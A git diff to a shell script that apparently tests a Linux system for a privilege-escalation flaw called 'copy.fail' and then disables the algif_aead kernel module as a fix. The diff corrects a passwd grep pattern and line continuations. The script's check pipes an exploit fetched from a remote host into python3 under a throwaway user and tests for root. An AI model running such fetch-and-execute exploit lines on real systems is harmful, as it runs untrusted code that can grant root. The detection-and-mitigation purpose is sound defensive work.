diff --git a/fix-copy-fail.sh b/fix-copy-fail.sh
old mode 100644
new mode 100755
index 0ebd76f..0259baa
--- a/fix-copy-fail.sh
+++ b/fix-copy-fail.sh
@@ -29,7 +29,7 @@
 set -x
 
 # Delete the test user if it exists
-grep '^testu ' /etc/passwd && deluser testu;
+grep '^testu:' /etc/passwd && deluser testu;
 # NOTE: this make the script repeatable however
 # it will still abandon the 'testu' account
 #
@@ -44,11 +44,11 @@ grep '^testu ' /etc/passwd && deluser testu;
 adduser --disabled-password --gecos='""' testu \
   && su testu -c 'cd; curl https://copy.fail/exp | python3 && su -c id' | grep root \
    && echo "EXPLOIT DETECTED: copy.fail  FFI, please see: https://copy.fail" \
-   && echo
-   && echo "The system MUST be restarted before confirming the fix."
-   && echo "If changes are made this should happen automatically but do it manually if that fails."
-   && echo
-   && echo "Pausing for ten seconds before attempting to fix.."
+   && echo \
+   && echo "The system MUST be restarted before confirming the fix." \
+   && echo "If changes are made this should happen automatically but do it manually if that fails." \
+   && echo \
+   && echo "Pausing for ten seconds before attempting to fix.." \
    && sleep 10 \
    && echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf \
    && rmmod algif_aead \